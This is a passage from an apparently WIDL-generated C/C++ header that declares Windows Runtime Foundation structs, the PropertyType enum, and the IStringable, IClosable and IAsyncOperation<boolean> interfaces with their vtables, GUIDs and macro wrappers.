Foundation { typedef struct Size Size; } } } #else /* __cplusplus */ typedef struct __x_ABI_CWindows_CFoundation_CSize __x_ABI_CWindows_CFoundation_CSize; #endif /* __cplusplus */ #ifdef __cplusplus namespace ABI { namespace Windows { namespace Foundation { typedef struct Rect Rect; } } } #else /* __cplusplus */ typedef struct __x_ABI_CWindows_CFoundation_CRect __x_ABI_CWindows_CFoundation_CRect; #endif /* __cplusplus */ #ifdef __cplusplus namespace ABI { namespace Windows { namespace Foundation { typedef struct DateTime DateTime; } } } #else /* __cplusplus */ typedef struct __x_ABI_CWindows_CFoundation_CDateTime __x_ABI_CWindows_CFoundation_CDateTime; #endif /* __cplusplus */ #ifdef __cplusplus namespace ABI { namespace Windows { namespace Foundation { typedef struct TimeSpan TimeSpan; } } } #else /* __cplusplus */ typedef struct __x_ABI_CWindows_CFoundation_CTimeSpan __x_ABI_CWindows_CFoundation_CTimeSpan; #endif /* __cplusplus */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifdef __cplusplus } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { enum PropertyType { PropertyType_Empty = 0, PropertyType_UInt8 = 1, PropertyType_Int16 = 2, PropertyType_UInt16 = 3, PropertyType_Int32 = 4, PropertyType_UInt32 = 5, PropertyType_Int64 = 6, PropertyType_UInt64 = 7, PropertyType_Single = 8, PropertyType_Double = 9, PropertyType_Char16 = 10, PropertyType_Boolean = 11, PropertyType_String = 12, PropertyType_Inspectable = 13, PropertyType_DateTime = 14, PropertyType_TimeSpan = 15, PropertyType_Guid = 16, PropertyType_Point = 17, PropertyType_Size = 18, PropertyType_Rect = 19, PropertyType_OtherType = 20, PropertyType_UInt8Array = 1025, PropertyType_Int16Array = 1026, PropertyType_UInt16Array = 1027, PropertyType_Int32Array = 1028, PropertyType_UInt32Array = 1029, PropertyType_Int64Array = 1030, PropertyType_UInt64Array = 1031, PropertyType_SingleArray = 1032, PropertyType_DoubleArray = 1033, PropertyType_Char16Array = 1034, PropertyType_BooleanArray = 1035, PropertyType_StringArray = 1036, PropertyType_InspectableArray = 1037, PropertyType_DateTimeArray = 1038, PropertyType_TimeSpanArray = 1039, PropertyType_GuidArray = 1040, PropertyType_PointArray = 1041, PropertyType_SizeArray = 1042, PropertyType_RectArray = 1043, PropertyType_OtherTypeArray = 1044 }; } } } extern "C" { #else enum __x_ABI_CWindows_CFoundation_CPropertyType { PropertyType_Empty = 0, PropertyType_UInt8 = 1, PropertyType_Int16 = 2, PropertyType_UInt16 = 3, PropertyType_Int32 = 4, PropertyType_UInt32 = 5, PropertyType_Int64 = 6, PropertyType_UInt64 = 7, PropertyType_Single = 8, PropertyType_Double = 9, PropertyType_Char16 = 10, PropertyType_Boolean = 11, PropertyType_String = 12, PropertyType_Inspectable = 13, PropertyType_DateTime = 14, PropertyType_TimeSpan = 15, PropertyType_Guid = 16, PropertyType_Point = 17, PropertyType_Size = 18, PropertyType_Rect = 19, PropertyType_OtherType = 20, PropertyType_UInt8Array = 1025, PropertyType_Int16Array = 1026, PropertyType_UInt16Array = 1027, PropertyType_Int32Array = 1028, PropertyType_UInt32Array = 1029, PropertyType_Int64Array = 1030, PropertyType_UInt64Array = 1031, PropertyType_SingleArray = 1032, PropertyType_DoubleArray = 1033, PropertyType_Char16Array = 1034, PropertyType_BooleanArray = 1035, PropertyType_StringArray = 1036, PropertyType_InspectableArray = 1037, PropertyType_DateTimeArray = 1038, PropertyType_TimeSpanArray = 1039, PropertyType_GuidArray = 1040, PropertyType_PointArray = 1041, PropertyType_SizeArray = 1042, PropertyType_RectArray = 1043, PropertyType_OtherTypeArray = 1044 }; #ifdef WIDL_using_Windows_Foundation #define PropertyType __x_ABI_CWindows_CFoundation_CPropertyType #endif /* WIDL_using_Windows_Foundation */ #endif #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifdef __cplusplus } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { struct Point { FLOAT X; FLOAT Y; }; } } } extern "C" { #else struct __x_ABI_CWindows_CFoundation_CPoint { FLOAT X; FLOAT Y; }; #ifdef WIDL_using_Windows_Foundation #define Point __x_ABI_CWindows_CFoundation_CPoint #endif /* WIDL_using_Windows_Foundation */ #endif #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifdef __cplusplus } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { struct Size { FLOAT Width; FLOAT Height; }; } } } extern "C" { #else struct __x_ABI_CWindows_CFoundation_CSize { FLOAT Width; FLOAT Height; }; #ifdef WIDL_using_Windows_Foundation #define Size __x_ABI_CWindows_CFoundation_CSize #endif /* WIDL_using_Windows_Foundation */ #endif #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifdef __cplusplus } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { struct Rect { FLOAT X; FLOAT Y; FLOAT Width; FLOAT Height; }; } } } extern "C" { #else struct __x_ABI_CWindows_CFoundation_CRect { FLOAT X; FLOAT Y; FLOAT Width; FLOAT Height; }; #ifdef WIDL_using_Windows_Foundation #define Rect __x_ABI_CWindows_CFoundation_CRect #endif /* WIDL_using_Windows_Foundation */ #endif #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifdef __cplusplus } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { struct DateTime { INT64 UniversalTime; }; } } } extern "C" { #else struct __x_ABI_CWindows_CFoundation_CDateTime { INT64 UniversalTime; }; #ifdef WIDL_using_Windows_Foundation #define DateTime __x_ABI_CWindows_CFoundation_CDateTime #endif /* WIDL_using_Windows_Foundation */ #endif #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifdef __cplusplus } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { struct TimeSpan { INT64 Duration; }; } } } extern "C" { #else struct __x_ABI_CWindows_CFoundation_CTimeSpan { INT64 Duration; }; #ifdef WIDL_using_Windows_Foundation #define TimeSpan __x_ABI_CWindows_CFoundation_CTimeSpan #endif /* WIDL_using_Windows_Foundation */ #endif #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ /***************************************************************************** * IStringable interface */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifndef ____x_ABI_CWindows_CFoundation_CIStringable_INTERFACE_DEFINED__ #define ____x_ABI_CWindows_CFoundation_CIStringable_INTERFACE_DEFINED__ DEFINE_GUID(IID___x_ABI_CWindows_CFoundation_CIStringable, 0x96369f54, 0x8eb6, 0x48f0, 0xab,0xce, 0xc1,0xb2,0x11,0xe6,0x27,0xc3); #if defined(__cplusplus) && !defined(CINTERFACE) } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { MIDL_INTERFACE("96369f54-8eb6-48f0-abce-c1b211e627c3") IStringable : public IInspectable { virtual HRESULT STDMETHODCALLTYPE ToString( HSTRING *value) = 0; }; } } } extern "C" { #ifdef __CRT_UUID_DECL __CRT_UUID_DECL(__x_ABI_CWindows_CFoundation_CIStringable, 0x96369f54, 0x8eb6, 0x48f0, 0xab,0xce, 0xc1,0xb2,0x11,0xe6,0x27,0xc3) #endif #else typedef struct __x_ABI_CWindows_CFoundation_CIStringableVtbl { BEGIN_INTERFACE /*** IUnknown methods ***/ HRESULT (STDMETHODCALLTYPE *QueryInterface)( __x_ABI_CWindows_CFoundation_CIStringable *This, REFIID riid, void **ppvObject); ULONG (STDMETHODCALLTYPE *AddRef)( __x_ABI_CWindows_CFoundation_CIStringable *This); ULONG (STDMETHODCALLTYPE *Release)( __x_ABI_CWindows_CFoundation_CIStringable *This); /*** IInspectable methods ***/ HRESULT (STDMETHODCALLTYPE *GetIids)( __x_ABI_CWindows_CFoundation_CIStringable *This, ULONG *iidCount, IID **iids); HRESULT (STDMETHODCALLTYPE *GetRuntimeClassName)( __x_ABI_CWindows_CFoundation_CIStringable *This, HSTRING *className); HRESULT (STDMETHODCALLTYPE *GetTrustLevel)( __x_ABI_CWindows_CFoundation_CIStringable *This, TrustLevel *trustLevel); /*** IStringable methods ***/ HRESULT (STDMETHODCALLTYPE *ToString)( __x_ABI_CWindows_CFoundation_CIStringable *This, HSTRING *value); END_INTERFACE } __x_ABI_CWindows_CFoundation_CIStringableVtbl; interface __x_ABI_CWindows_CFoundation_CIStringable { CONST_VTBL __x_ABI_CWindows_CFoundation_CIStringableVtbl* lpVtbl; }; #ifdef COBJMACROS #ifndef WIDL_C_INLINE_WRAPPERS /*** IUnknown methods ***/ #define __x_ABI_CWindows_CFoundation_CIStringable_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject) #define __x_ABI_CWindows_CFoundation_CIStringable_AddRef(This) (This)->lpVtbl->AddRef(This) #define __x_ABI_CWindows_CFoundation_CIStringable_Release(This) (This)->lpVtbl->Release(This) /*** IInspectable methods ***/ #define __x_ABI_CWindows_CFoundation_CIStringable_GetIids(This,iidCount,iids) (This)->lpVtbl->GetIids(This,iidCount,iids) #define __x_ABI_CWindows_CFoundation_CIStringable_GetRuntimeClassName(This,className) (This)->lpVtbl->GetRuntimeClassName(This,className) #define __x_ABI_CWindows_CFoundation_CIStringable_GetTrustLevel(This,trustLevel) (This)->lpVtbl->GetTrustLevel(This,trustLevel) /*** IStringable methods ***/ #define __x_ABI_CWindows_CFoundation_CIStringable_ToString(This,value) (This)->lpVtbl->ToString(This,value) #else /*** IUnknown methods ***/ static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIStringable_QueryInterface(__x_ABI_CWindows_CFoundation_CIStringable* This,REFIID riid,void **ppvObject) { return This->lpVtbl->QueryInterface(This,riid,ppvObject); } static FORCEINLINE ULONG __x_ABI_CWindows_CFoundation_CIStringable_AddRef(__x_ABI_CWindows_CFoundation_CIStringable* This) { return This->lpVtbl->AddRef(This); } static FORCEINLINE ULONG __x_ABI_CWindows_CFoundation_CIStringable_Release(__x_ABI_CWindows_CFoundation_CIStringable* This) { return This->lpVtbl->Release(This); } /*** IInspectable methods ***/ static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIStringable_GetIids(__x_ABI_CWindows_CFoundation_CIStringable* This,ULONG *iidCount,IID **iids) { return This->lpVtbl->GetIids(This,iidCount,iids); } static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIStringable_GetRuntimeClassName(__x_ABI_CWindows_CFoundation_CIStringable* This,HSTRING *className) { return This->lpVtbl->GetRuntimeClassName(This,className); } static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIStringable_GetTrustLevel(__x_ABI_CWindows_CFoundation_CIStringable* This,TrustLevel *trustLevel) { return This->lpVtbl->GetTrustLevel(This,trustLevel); } /*** IStringable methods ***/ static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIStringable_ToString(__x_ABI_CWindows_CFoundation_CIStringable* This,HSTRING *value) { return This->lpVtbl->ToString(This,value); } #endif #ifdef WIDL_using_Windows_Foundation #define IID_IStringable IID___x_ABI_CWindows_CFoundation_CIStringable #define IStringableVtbl __x_ABI_CWindows_CFoundation_CIStringableVtbl #define IStringable __x_ABI_CWindows_CFoundation_CIStringable #define IStringable_QueryInterface __x_ABI_CWindows_CFoundation_CIStringable_QueryInterface #define IStringable_AddRef __x_ABI_CWindows_CFoundation_CIStringable_AddRef #define IStringable_Release __x_ABI_CWindows_CFoundation_CIStringable_Release #define IStringable_GetIids __x_ABI_CWindows_CFoundation_CIStringable_GetIids #define IStringable_GetRuntimeClassName __x_ABI_CWindows_CFoundation_CIStringable_GetRuntimeClassName #define IStringable_GetTrustLevel __x_ABI_CWindows_CFoundation_CIStringable_GetTrustLevel #define IStringable_ToString __x_ABI_CWindows_CFoundation_CIStringable_ToString #endif /* WIDL_using_Windows_Foundation */ #endif #endif #endif /* ____x_ABI_CWindows_CFoundation_CIStringable_INTERFACE_DEFINED__ */ #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ /***************************************************************************** * IClosable interface */ #if WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 #ifndef ____x_ABI_CWindows_CFoundation_CIClosable_INTERFACE_DEFINED__ #define ____x_ABI_CWindows_CFoundation_CIClosable_INTERFACE_DEFINED__ DEFINE_GUID(IID___x_ABI_CWindows_CFoundation_CIClosable, 0x30d5a829, 0x7fa4, 0x4026, 0x83,0xbb, 0xd7,0x5b,0xae,0x4e,0xa9,0x9e); #if defined(__cplusplus) && !defined(CINTERFACE) } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { MIDL_INTERFACE("30d5a829-7fa4-4026-83bb-d75bae4ea99e") IClosable : public IInspectable { virtual HRESULT STDMETHODCALLTYPE Close( ) = 0; }; } } } extern "C" { #ifdef __CRT_UUID_DECL __CRT_UUID_DECL(__x_ABI_CWindows_CFoundation_CIClosable, 0x30d5a829, 0x7fa4, 0x4026, 0x83,0xbb, 0xd7,0x5b,0xae,0x4e,0xa9,0x9e) #endif #else typedef struct __x_ABI_CWindows_CFoundation_CIClosableVtbl { BEGIN_INTERFACE /*** IUnknown methods ***/ HRESULT (STDMETHODCALLTYPE *QueryInterface)( __x_ABI_CWindows_CFoundation_CIClosable *This, REFIID riid, void **ppvObject); ULONG (STDMETHODCALLTYPE *AddRef)( __x_ABI_CWindows_CFoundation_CIClosable *This); ULONG (STDMETHODCALLTYPE *Release)( __x_ABI_CWindows_CFoundation_CIClosable *This); /*** IInspectable methods ***/ HRESULT (STDMETHODCALLTYPE *GetIids)( __x_ABI_CWindows_CFoundation_CIClosable *This, ULONG *iidCount, IID **iids); HRESULT (STDMETHODCALLTYPE *GetRuntimeClassName)( __x_ABI_CWindows_CFoundation_CIClosable *This, HSTRING *className); HRESULT (STDMETHODCALLTYPE *GetTrustLevel)( __x_ABI_CWindows_CFoundation_CIClosable *This, TrustLevel *trustLevel); /*** IClosable methods ***/ HRESULT (STDMETHODCALLTYPE *Close)( __x_ABI_CWindows_CFoundation_CIClosable *This); END_INTERFACE } __x_ABI_CWindows_CFoundation_CIClosableVtbl; interface __x_ABI_CWindows_CFoundation_CIClosable { CONST_VTBL __x_ABI_CWindows_CFoundation_CIClosableVtbl* lpVtbl; }; #ifdef COBJMACROS #ifndef WIDL_C_INLINE_WRAPPERS /*** IUnknown methods ***/ #define __x_ABI_CWindows_CFoundation_CIClosable_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject) #define __x_ABI_CWindows_CFoundation_CIClosable_AddRef(This) (This)->lpVtbl->AddRef(This) #define __x_ABI_CWindows_CFoundation_CIClosable_Release(This) (This)->lpVtbl->Release(This) /*** IInspectable methods ***/ #define __x_ABI_CWindows_CFoundation_CIClosable_GetIids(This,iidCount,iids) (This)->lpVtbl->GetIids(This,iidCount,iids) #define __x_ABI_CWindows_CFoundation_CIClosable_GetRuntimeClassName(This,className) (This)->lpVtbl->GetRuntimeClassName(This,className) #define __x_ABI_CWindows_CFoundation_CIClosable_GetTrustLevel(This,trustLevel) (This)->lpVtbl->GetTrustLevel(This,trustLevel) /*** IClosable methods ***/ #define __x_ABI_CWindows_CFoundation_CIClosable_Close(This) (This)->lpVtbl->Close(This) #else /*** IUnknown methods ***/ static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIClosable_QueryInterface(__x_ABI_CWindows_CFoundation_CIClosable* This,REFIID riid,void **ppvObject) { return This->lpVtbl->QueryInterface(This,riid,ppvObject); } static FORCEINLINE ULONG __x_ABI_CWindows_CFoundation_CIClosable_AddRef(__x_ABI_CWindows_CFoundation_CIClosable* This) { return This->lpVtbl->AddRef(This); } static FORCEINLINE ULONG __x_ABI_CWindows_CFoundation_CIClosable_Release(__x_ABI_CWindows_CFoundation_CIClosable* This) { return This->lpVtbl->Release(This); } /*** IInspectable methods ***/ static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIClosable_GetIids(__x_ABI_CWindows_CFoundation_CIClosable* This,ULONG *iidCount,IID **iids) { return This->lpVtbl->GetIids(This,iidCount,iids); } static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIClosable_GetRuntimeClassName(__x_ABI_CWindows_CFoundation_CIClosable* This,HSTRING *className) { return This->lpVtbl->GetRuntimeClassName(This,className); } static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIClosable_GetTrustLevel(__x_ABI_CWindows_CFoundation_CIClosable* This,TrustLevel *trustLevel) { return This->lpVtbl->GetTrustLevel(This,trustLevel); } /*** IClosable methods ***/ static FORCEINLINE HRESULT __x_ABI_CWindows_CFoundation_CIClosable_Close(__x_ABI_CWindows_CFoundation_CIClosable* This) { return This->lpVtbl->Close(This); } #endif #ifdef WIDL_using_Windows_Foundation #define IID_IClosable IID___x_ABI_CWindows_CFoundation_CIClosable #define IClosableVtbl __x_ABI_CWindows_CFoundation_CIClosableVtbl #define IClosable __x_ABI_CWindows_CFoundation_CIClosable #define IClosable_QueryInterface __x_ABI_CWindows_CFoundation_CIClosable_QueryInterface #define IClosable_AddRef __x_ABI_CWindows_CFoundation_CIClosable_AddRef #define IClosable_Release __x_ABI_CWindows_CFoundation_CIClosable_Release #define IClosable_GetIids __x_ABI_CWindows_CFoundation_CIClosable_GetIids #define IClosable_GetRuntimeClassName __x_ABI_CWindows_CFoundation_CIClosable_GetRuntimeClassName #define IClosable_GetTrustLevel __x_ABI_CWindows_CFoundation_CIClosable_GetTrustLevel #define IClosable_Close __x_ABI_CWindows_CFoundation_CIClosable_Close #endif /* WIDL_using_Windows_Foundation */ #endif #endif #endif /* ____x_ABI_CWindows_CFoundation_CIClosable_INTERFACE_DEFINED__ */ #endif /* WINDOWS_FOUNDATION_FOUNDATIONCONTRACT_VERSION >= 0x10000 */ #ifndef ____FIAsyncOperation_1_boolean_FWD_DEFINED__ #define ____FIAsyncOperation_1_boolean_FWD_DEFINED__ typedef interface __FIAsyncOperation_1_boolean __FIAsyncOperation_1_boolean; #ifdef __cplusplus #define __FIAsyncOperation_1_boolean ABI::Windows::Foundation::IAsyncOperation<boolean > #endif /* __cplusplus */ #endif #ifndef ____FIVectorView_1_HSTRING_FWD_DEFINED__ #define ____FIVectorView_1_HSTRING_FWD_DEFINED__ typedef interface __FIVectorView_1_HSTRING __FIVectorView_1_HSTRING; #ifdef __cplusplus #define __FIVectorView_1_HSTRING ABI::Windows::Foundation::Collections::IVectorView<HSTRING > #endif /* __cplusplus */ #endif /***************************************************************************** * IAsyncOperationCompletedHandler<boolean > interface */ #ifndef ____FIAsyncOperationCompletedHandler_1_boolean_INTERFACE_DEFINED__ #define ____FIAsyncOperationCompletedHandler_1_boolean_INTERFACE_DEFINED__ DEFINE_GUID(IID___FIAsyncOperationCompletedHandler_1_boolean, 0xc1d3d1a2, 0xae17, 0x5a5f, 0xb5,0xa2, 0xbd,0xcc,0x88,0x44,0x88,0x9a); #if defined(__cplusplus) && !defined(CINTERFACE) } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { template<> MIDL_INTERFACE("c1d3d1a2-ae17-5a5f-b5a2-bdcc8844889a") IAsyncOperationCompletedHandler<boolean > : IAsyncOperationCompletedHandler_impl<boolean > { }; } } } extern "C" { #ifdef __CRT_UUID_DECL __CRT_UUID_DECL(__FIAsyncOperationCompletedHandler_1_boolean, 0xc1d3d1a2, 0xae17, 0x5a5f, 0xb5,0xa2, 0xbd,0xcc,0x88,0x44,0x88,0x9a) #endif #else typedef struct __FIAsyncOperationCompletedHandler_1_booleanVtbl { BEGIN_INTERFACE /*** IUnknown methods ***/ HRESULT (STDMETHODCALLTYPE *QueryInterface)( __FIAsyncOperationCompletedHandler_1_boolean *This, REFIID riid, void **ppvObject); ULONG (STDMETHODCALLTYPE *AddRef)( __FIAsyncOperationCompletedHandler_1_boolean *This); ULONG (STDMETHODCALLTYPE *Release)( __FIAsyncOperationCompletedHandler_1_boolean *This); /*** IAsyncOperationCompletedHandler<boolean > methods ***/ HRESULT (STDMETHODCALLTYPE *Invoke)( __FIAsyncOperationCompletedHandler_1_boolean *This, __FIAsyncOperation_1_boolean *info, AsyncStatus status); END_INTERFACE } __FIAsyncOperationCompletedHandler_1_booleanVtbl; interface __FIAsyncOperationCompletedHandler_1_boolean { CONST_VTBL __FIAsyncOperationCompletedHandler_1_booleanVtbl* lpVtbl; }; #ifdef COBJMACROS #ifndef WIDL_C_INLINE_WRAPPERS /*** IUnknown methods ***/ #define __FIAsyncOperationCompletedHandler_1_boolean_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject) #define __FIAsyncOperationCompletedHandler_1_boolean_AddRef(This) (This)->lpVtbl->AddRef(This) #define __FIAsyncOperationCompletedHandler_1_boolean_Release(This) (This)->lpVtbl->Release(This) /*** IAsyncOperationCompletedHandler<boolean > methods ***/ #define __FIAsyncOperationCompletedHandler_1_boolean_Invoke(This,info,status) (This)->lpVtbl->Invoke(This,info,status) #else /*** IUnknown methods ***/ static FORCEINLINE HRESULT __FIAsyncOperationCompletedHandler_1_boolean_QueryInterface(__FIAsyncOperationCompletedHandler_1_boolean* This,REFIID riid,void **ppvObject) { return This->lpVtbl->QueryInterface(This,riid,ppvObject); } static FORCEINLINE ULONG __FIAsyncOperationCompletedHandler_1_boolean_AddRef(__FIAsyncOperationCompletedHandler_1_boolean* This) { return This->lpVtbl->AddRef(This); } static FORCEINLINE ULONG __FIAsyncOperationCompletedHandler_1_boolean_Release(__FIAsyncOperationCompletedHandler_1_boolean* This) { return This->lpVtbl->Release(This); } /*** IAsyncOperationCompletedHandler<boolean > methods ***/ static FORCEINLINE HRESULT __FIAsyncOperationCompletedHandler_1_boolean_Invoke(__FIAsyncOperationCompletedHandler_1_boolean* This,__FIAsyncOperation_1_boolean *info,AsyncStatus status) { return This->lpVtbl->Invoke(This,info,status); } #endif #ifdef WIDL_using_Windows_Foundation #define IID_IAsyncOperationCompletedHandler_boolean IID___FIAsyncOperationCompletedHandler_1_boolean #define IAsyncOperationCompletedHandler_booleanVtbl __FIAsyncOperationCompletedHandler_1_booleanVtbl #define IAsyncOperationCompletedHandler_boolean __FIAsyncOperationCompletedHandler_1_boolean #define IAsyncOperationCompletedHandler_boolean_QueryInterface __FIAsyncOperationCompletedHandler_1_boolean_QueryInterface #define IAsyncOperationCompletedHandler_boolean_AddRef __FIAsyncOperationCompletedHandler_1_boolean_AddRef #define IAsyncOperationCompletedHandler_boolean_Release __FIAsyncOperationCompletedHandler_1_boolean_Release #define IAsyncOperationCompletedHandler_boolean_Invoke __FIAsyncOperationCompletedHandler_1_boolean_Invoke #endif /* WIDL_using_Windows_Foundation */ #endif #endif #endif /* ____FIAsyncOperationCompletedHandler_1_boolean_INTERFACE_DEFINED__ */ /***************************************************************************** * IAsyncOperation<boolean > interface */ #ifndef ____FIAsyncOperation_1_boolean_INTERFACE_DEFINED__ #define ____FIAsyncOperation_1_boolean_INTERFACE_DEFINED__ DEFINE_GUID(IID___FIAsyncOperation_1_boolean, 0xcdb5efb3, 0x5788, 0x509d, 0x9b,0xe1, 0x71,0xcc,0xb8,0xa3,0x36,0x2a); #if defined(__cplusplus) && !defined(CINTERFACE) } /* extern "C" */ namespace ABI { namespace Windows { namespace Foundation { template<> MIDL_INTERFACE("cdb5efb3-5788-509d-9be1-71ccb8a3362a") IAsyncOperation<boolean > : IAsyncOperation_impl<boolean > { }; } } } extern "C" { #ifdef __CRT_UUID_DECL __CRT_UUID_DECL(__FIAsyncOperation_1_boolean, 0xcdb5efb3, 0x5788, 0x509d, 0x9b,0xe1, 0x71,0xcc,0xb8,0xa3,0x36,0x2a) #endif #else typedef struct __FIAsyncOperation_1_booleanVtbl { BEGIN_INTERFACE /*** IUnknown methods ***/ HRESULT (STDMETHODCALLTYPE *QueryInterface)( __FIAsyncOperation_1_boolean *This, REFIID riid, void **ppvObject); ULONG (STDMETHODCALLTYPE *AddRef)( __FIAsyncOperation_1_boolean *This); ULONG (STDMETHODCALLTYPE *Release)( __FIAsyncOperation_1_boolean *This); /*** IInspectable methods ***/ HRESULT (STDMETHODCALLTYPE *GetIids)( __FIAsyncOperation_1_boolean *This, ULONG *iidCount, IID **iids); HRESULT (STDMETHODCALLTYPE *GetRuntimeClassName)( __FIAsyncOperation_1_boolean *This, HSTRING *className); HRESULT (STDMETHODCALLTYPE *GetTrustLevel)( __FIAsyncOperation_1_boolean *This, TrustLevel *trustLevel); /*** IAsyncOperation<boolean > methods ***/ HRESULT (STDMETHODCALLTYPE *put_Completed)( __FIAsyncOperation_1_boolean *This, __FIAsyncOperationCompletedHandler_1_boolean *handler); HRESULT (STDMETHODCALLTYPE *get_Completed)( __FIAsyncOperation_1_boolean *This, __FIAsyncOperationCompletedHandler_1_boolean **handler); HRESULT (STDMETHODCALLTYPE *GetResults)( __FIAsyncOperation_1_boolean *This, boolean **results); END_INTERFACE } __FIAsyncOperation_1_booleanVtbl; interface __FIAsyncOperation_1_boolean { CONST_VTBL __FIAsyncOperation_1_booleanVtbl* lpVtbl; }; #ifdef COBJMACROS #ifndef WIDL_C_INLINE_WRAPPERS /*** IUnknown methods ***/ #define __FIAsyncOperation_1_boolean_QueryInterface(This,riid,ppvObject) (This)->lpVtbl->QueryInterface(This,riid,ppvObject) #define __FIAsyncOperation_1_boolean_AddRef(This) (This)->lpVtbl->AddRef(This) #define __FIAsyncOperation_1_boolean_Release(This) (This)->lpVtbl->Release(This) /*** IInspectable methods ***/ #define __FIAsyncOperation_1_boolean_GetIids(This,iidCount,iids) (This)->lpVtbl->GetIids(This,iidCount,iids) #define __FIAsyncOperation_1_boolean_GetRuntimeClassName(This,className) (This)->lpVtbl->GetRuntimeClassName(This,className) #define __FIAsyncOperation_1_boolean_GetTrustLevel(This,trustLevel) (This)->lpVtbl->GetTrustLevel(This,trustLevel) /*** IAsyncOperation<boolean > methods ***/ #define __FIAsyncOperation_1_boolean_put_Completed(This,handler) (This)->lpVtbl->put_Completed(This,handler) #define __FIAsyncOperation_1_boolean_get_Completed(This,handler) (This)->lpVtbl->get_Completed(This,handler) #define __FIAsyncOperation_1_boolean_GetResults(This,results) (This)->lpVtbl->GetResults(This,results) #else /*** IUnknown methods ***/ static FORCEINLINE HRESULT __FIAsyncOperation_1_boolean_QueryInterface(__FIAsyncOperation_1_boolean* This,REFIID riid,void **ppvObject) { return This->lpVtbl->QueryInterface(This,riid,ppvObject); } static FORCEINLINE ULONG __FIAsyncOperation_1_boolean_AddRef(__FIAsyncOperation_1_boolean* This) { return This->lpVtbl->AddRef(This); } static FORCEINLINE ULONG __FIAsyncOperation_1_boolean_Release(__FIAsyncOperation_1_boolean* This) { return This->lpVtbl->Release(This); } /*** IInspectable methods ***/ static FORCEINLINE HRESULT __FIAsyncOperation_1_boolean_GetIids(__FIAsyncOperation_1_boolean* This,ULONG *iidCount,IID **iids) { return This->lpVtbl->GetIids(This,iidCount,iids); } static FORCEINLINE HRESULT __FIAsyncOperation_1_boolean_GetRuntimeClassName(__FIAsyncOperation_1_boolean* This,HSTRING *className) { return This->lpVtbl->GetRuntimeClassName(This,className); } static FORCEINLINE HRESULT __FIAsyncOperation_1_boolean_GetTrustLevel(__FIAsyncOperation_1_boolean* This,TrustLevel *trustLevel) { return This->lpVtbl->GetTrustLevel(This,trustLevel); } /*** IAsyncOperation<boolean > methods ***/ static FORCEINLINE HRESULT __FIAsyncOperation_1_boolean_put_Completed(__FIAsyncOperation_1_boolean* This,__FIAsyncOperationCompletedHandler_1_boolean *handler) { return This->lpVtbl->put_Completed(This,handler); } static FORCEINLINE HRESULT __FIAsyncOperation_1_boolean_get_Completed(__FIAsyncOperation_1_boolean* This,__FIAsyncOperationCompletedHandler_1_boolean **handler) { return This->lpVtbl->get_Completed(This,handler); } static FORCEINLINE HRESULT __FIAsyncOperation_1_boolean_GetResults(__FIAsyncOperation_1_boolean* This,boolean **results) { return This->lpVtbl->GetResults(This,results); } #endif #ifdef WIDL_using_Windows_Foundation #define IID_IAsyncOperation_boolean IID___FIAsyncOperation_1_boolean #define IAsyncOperation_booleanVtbl __FIAsyncOperation_1_booleanVtbl #define IAsyncOperation_boolean __FIAsyncOperation_1_boolean #define IAsyncOperation_boolean_QueryInterface __FIAsyncOperation_1_boolean_QueryInterface #define IAsyncOperation_boolean_AddRef __FIAsyncOperation_1_boolean_AddRef #define IAsyncOperation_boolean_Release __FIAsyncOperation_1_boolean_Release #define IAsyncOperation_boolean_GetIids __FIAsyncOperation_1_boolean_GetIids #define IAsyncOperation_boolean_GetRuntimeClassName __FIAsyncOperation_1_boolean_GetRuntimeClassName #define IAsyncOperation_boolean_GetTrustLevel __FIAsyncOperation_1_boolean_GetTrustLevel #define IAsyncOperation_boolean_put_Completed __FIAsyncOperation_1_boolean_put_Completed #define IAsyncOperation_boolean_get_Completed __FIAsyncOperation_1_boolean_get_Completed #define IAsyncOperation_boolean_GetResults __FIAsyncOperation_1_boolean_GetResults #endif /* WIDL_using_Windows_Foundation */ #endif #endif #endif /* ____FIAsyncOperation_1_boolean_INTERFACE_DEFINED__ */ /***************************************************************************** * IVectorView<HSTRING 